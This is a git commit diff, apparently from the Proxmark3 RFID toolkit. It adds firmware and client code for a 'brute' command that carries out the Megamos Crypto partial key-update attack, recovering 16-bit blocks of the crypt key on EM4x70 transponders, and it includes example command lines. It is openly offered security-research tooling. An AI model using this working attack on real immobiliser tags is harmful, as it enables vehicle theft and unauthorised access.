Add function to brute force partial key

This commit is contained in:
Adrian Teuscher 2023-01-27 19:37:40 +01:00
commit 71389e0b17
7 changed files with 211 additions and 6 deletions

View file

@ -1221,6 +1221,10 @@ static void PacketReceived(PacketCommandNG *packet) {
em4x70_write_key((em4x70_data_t *)packet->data.asBytes, true);
break;
}
case CMD_LF_EM4X70_BRUTE: {
em4x70_brute((em4x70_data_t *)packet->data.asBytes, true);
break;
}
#endif
#ifdef WITH_ZX8211

View file

@ -21,6 +21,7 @@
#include "dbprint.h"
#include "lfadc.h"
#include "commonutil.h"
#include "optimized_cipherutils.h"
#include "em4x70.h"
#include "appmain.h" // tear
@ -85,7 +86,7 @@ static int em4x70_receive(uint8_t *bits, size_t length);
static bool find_listen_window(bool command);
static void init_tag(void) {
memset(tag.data, 0x00, ARRAYLEN(tag.data));
memset(tag.data, 0x00, sizeof(tag.data));
}
static void em4x70_setup_read(void) {
@ -298,14 +299,14 @@ static bool check_ack(void) {
// returns true if signal structue corresponds to ACK, anything else is
// counted as NAK (-> false)
// ACK 64 + 64
// NACK 64 + 48
// NAK 64 + 48
if (check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD) &&
check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) {
// ACK
return true;
}
// Othewise it was a NACK or Listen Window
// Otherwise it was a NAK or Listen Window
return false;
}
@ -339,7 +340,7 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon
uint8_t grnd[EM4X70_MAX_RECEIVE_LENGTH] = {0};
int num = em4x70_receive(grnd, 20);
if (num < 20) {
Dbprintf("Auth failed");
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Auth failed");
return PM3_ESOFT;
}
bits2bytes(grnd, 24, response);
@ -349,6 +350,80 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon
return PM3_ESOFT;
}
static int set_byte(uint8_t *target, int value) {
int c = value > 0xFF;
*target = reflect8(value);
return c;
}
static int bruteforce(const uint8_t address, const uint8_t *rnd, const uint8_t *frnd, uint16_t start_key, uint8_t *response) {
uint8_t auth_resp[3] = {0};
uint8_t rev_rnd[7];
uint8_t temp_rnd[7];
reverse_arraycopy((uint8_t *)rnd, rev_rnd, sizeof(rnd));
memcpy(temp_rnd, rnd, sizeof(temp_rnd));
for (int k = start_key; k <= 0xFFFF; ++k) {
int c = 0;
WDT_HIT();
uint16_t rev_k = reflect16(k);
switch (address) {
case 9:
c = set_byte(&temp_rnd[0], rev_rnd[0] + (rev_k & 0xFF));
c = set_byte(&temp_rnd[1], rev_rnd[1] + c + ((rev_k >> 8) & 0xFF));
c = set_byte(&temp_rnd[2], rev_rnd[2] + c);
c = set_byte(&temp_rnd[3], rev_rnd[3] + c);
c = set_byte(&temp_rnd[4], rev_rnd[4] + c);
c = set_byte(&temp_rnd[5], rev_rnd[5] + c);
set_byte(&temp_rnd[6], rev_rnd[6] + c);
break;
case 8:
c = set_byte(&temp_rnd[2], rev_rnd[2] + (rev_k & 0xFF));
c = set_byte(&temp_rnd[3], rev_rnd[3] + c + ((rev_k >> 8) & 0xFF));
c = set_byte(&temp_rnd[4], rev_rnd[4] + c);
c = set_byte(&temp_rnd[5], rev_rnd[5] + c);
set_byte(&temp_rnd[6], rev_rnd[6] + c);
break;
case 7:
c = set_byte(&temp_rnd[4], rev_rnd[4] + (rev_k & 0xFF));
c = set_byte(&temp_rnd[5], rev_rnd[5] + c + ((rev_k >> 8) & 0xFF));
set_byte(&temp_rnd[6], rev_rnd[6] + c);
break;
default:
Dbprintf("Bad block number given: %d", address);
return PM3_ESOFT;
}
// Report progress every 256 attempts
if ((k % 0x100) == 0) {
Dbprintf("Trying: %04X", k);
}
// Due to performance reason, we only try it once. Therefore you need a very stable RFID communcation.
if (authenticate(temp_rnd, frnd, auth_resp) == PM3_SUCCESS) {
if (g_dbglevel >= DBG_INFO)
Dbprintf("Authentication success with rnd: %02X%02X%02X%02X%02X%02X%02X", temp_rnd[0], temp_rnd[1], temp_rnd[2], temp_rnd[3], temp_rnd[4], temp_rnd[5], temp_rnd[6]);
response[0] = (k >> 8) & 0xFF;
response[1] = k & 0xFF;
return PM3_SUCCESS;
}
if (BUTTON_PRESS() || data_available()) {
Dbprintf("EM4x70 Bruteforce Interrupted");
return PM3_EOPABORTED;
}
}
return PM3_ESOFT;
}
static int send_pin(const uint32_t pin) {
// sends pin code for unlocking
@ -576,7 +651,7 @@ static int em4x70_receive(uint8_t *bits, size_t length) {
}
if (!foundheader) {
Dbprintf("Failed to find read header");
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Failed to find read header");
return 0;
}
@ -738,6 +813,27 @@ void em4x70_auth(em4x70_data_t *etd, bool ledcontrol) {
reply_ng(CMD_LF_EM4X70_AUTH, status, response, sizeof(response));
}
void em4x70_brute(em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0;
uint8_t response[2] = {0};
command_parity = etd->parity;
init_tag();
em4x70_setup_read();
// Find the Tag
if (get_signalproperties() && find_em4x70_tag()) {
// Bruteforce partial key
status = bruteforce(etd->address, etd->rnd, etd->frnd, etd->start_key, response) == PM3_SUCCESS;
}
StopTicks();
lf_finalize(ledcontrol);
reply_ng(CMD_LF_EM4X70_BRUTE, status, response, sizeof(response));
}
void em4x70_write_pin(em4x70_data_t *etd, bool ledcontrol) {
uint8_t status = 0;

View file

@ -32,6 +32,7 @@ typedef enum {
void em4x70_info(em4x70_data_t *etd, bool ledcontrol);
void em4x70_write(em4x70_data_t *etd, bool ledcontrol);
void em4x70_brute(em4x70_data_t *etd, bool ledcontrol);
void em4x70_unlock(em4x70_data_t *etd, bool ledcontrol);
void em4x70_auth(em4x70_data_t *etd, bool ledcontrol);
void em4x70_write_pin(em4x70_data_t *etd, bool ledcontrol);

View file

@ -200,7 +200,7 @@ int CmdEM4x70Write(const char *Cmd) {
}
etd.address = (uint8_t) addr;
etd.word = BYTES2UINT16(word);;
etd.word = BYTES2UINT16(word);
clearCommandBuffer();
SendCommandNG(CMD_LF_EM4X70_WRITE, (uint8_t *)&etd, sizeof(etd));
@ -220,6 +220,104 @@ int CmdEM4x70Write(const char *Cmd) {
return PM3_ESOFT;
}
int CmdEM4x70Brute(const char *Cmd) {
// From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege.
// Partial Key-Update Attack (optimized version)
em4x70_data_t etd = {0};
CLIParserContext *ctx;
CLIParserInit(&ctx, "lf em 4x70 brute",
"Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70\n"
"This attack does NOT write anything to the tag.\n"
"Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'.\n"
"After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'\n",
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80\n"
);
void *argtable[] = {
arg_param_begin,
arg_lit0(NULL, "par", "Add parity bit when sending commands"),
arg_int1("b", "block", "<dec>", "block/word address, dec"),
arg_str1(NULL, "rnd", "<hex>", "Random 56-bit"),
arg_str1(NULL, "frn", "<hex>", "F(RN) 28-bit as 4 hex bytes"),
arg_str0("s", "start", "<hex>", "Start bruteforce enumeration from this key value"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
etd.parity = arg_get_lit(ctx, 1);
int addr = arg_get_int_def(ctx, 2, 0);
if (addr < 7 || addr > 9) {
PrintAndLogEx(FAILED, "block has to be within range [7, 9] got: %d", addr);
return PM3_EINVARG;
}
etd.address = (uint8_t) addr;
int rnd_len = 7;
CLIGetHexWithReturn(ctx, 3, etd.rnd, &rnd_len);
int frnd_len = 4;
CLIGetHexWithReturn(ctx, 4, etd.frnd, &frnd_len);
uint32_t start_key = 0;
int res = arg_get_u32_hexstr_def_nlen(ctx, 5, 0, &start_key, 2, true);
if (res == 2) {
CLIParserFree(ctx);
PrintAndLogEx(WARNING, "start key parameter must be in range [0, FFFF]");
return PM3_EINVARG;
}
etd.start_key = start_key;
CLIParserFree(ctx);
if (rnd_len != 7) {
PrintAndLogEx(FAILED, "Random number length must be 7 bytes instead of %d", rnd_len);
return PM3_EINVARG;
}
if (frnd_len != 4) {
PrintAndLogEx(FAILED, "F(RN) length must be 4 bytes instead of %d", frnd_len);
return PM3_EINVARG;
}
PrintAndLogEx(INFO, "click " _GREEN_("pm3 button") " or press " _GREEN_("Enter") " to exit");
clearCommandBuffer();
PacketResponseNG resp;
SendCommandNG(CMD_LF_EM4X70_BRUTE, (uint8_t *)&etd, sizeof(etd));
uint32_t timeout = 0;
for (;;) {
if (kbd_enter_pressed()) {
SendCommandNG(CMD_BREAK_LOOP, NULL, 0);
PrintAndLogEx(DEBUG, "User aborted");
break;
}
if (WaitForResponseTimeout(CMD_LF_EM4X70_BRUTE, &resp, TIMEOUT)) {
if (resp.status) {
// Response is 16-bit partial key
PrintAndLogEx(INFO, "Partial Key Response: %02X %02X", resp.data.asBytes[0], resp.data.asBytes[1]);
return PM3_SUCCESS;
}
break;
}
// should be done in about 30 minutes
if (timeout > ((30 * 60000) / TIMEOUT)) {
PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting...");
break;
}
timeout++;
}
PrintAndLogEx(FAILED, "Bruteforce of partial key " _RED_("failed"));
return PM3_ESOFT;
}
int CmdEM4x70Unlock(const char *Cmd) {
// send pin code to device, unlocking it for writing
@ -452,6 +550,7 @@ int CmdEM4x70WriteKey(const char *Cmd) {
static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help"},
{"brute", CmdEM4x70Brute, IfPm3EM4x70, "Bruteforce EM4X70 to find partial Crypt Key"},
{"info", CmdEM4x70Info, IfPm3EM4x70, "Tag information EM4x70"},
{"write", CmdEM4x70Write, IfPm3EM4x70, "Write EM4x70"},
{"unlock", CmdEM4x70Unlock, IfPm3EM4x70, "Unlock EM4x70 for writing"},

View file

@ -26,6 +26,7 @@
int CmdLFEM4X70(const char *Cmd);
int CmdEM4x70Info(const char *Cmd);
int CmdEM4x70Write(const char *Cmd);
int CmdEM4x70Brute(const char *Cmd);
int CmdEM4x70Unlock(const char *Cmd);
int CmdEM4x70Auth(const char *Cmd);
int CmdEM4x70WritePIN(const char *Cmd);

View file

@ -42,6 +42,9 @@ typedef struct {
// Used to write new key
uint8_t crypt_key[12];
// used for bruteforce the partial key
uint16_t start_key;
} em4x70_data_t;
#endif /* EM4X70_H__ */

View file

@ -484,6 +484,7 @@ typedef struct {
#define CMD_LF_EM4X70_AUTH 0x0263
#define CMD_LF_EM4X70_WRITEPIN 0x0264
#define CMD_LF_EM4X70_WRITEKEY 0x0265
#define CMD_LF_EM4X70_BRUTE 0x0266
// Sampling configuration for LF reader/sniffer
#define CMD_LF_SAMPLING_SET_CONFIG 0x021D
#define CMD_LF_FSK_SIMULATE 0x021E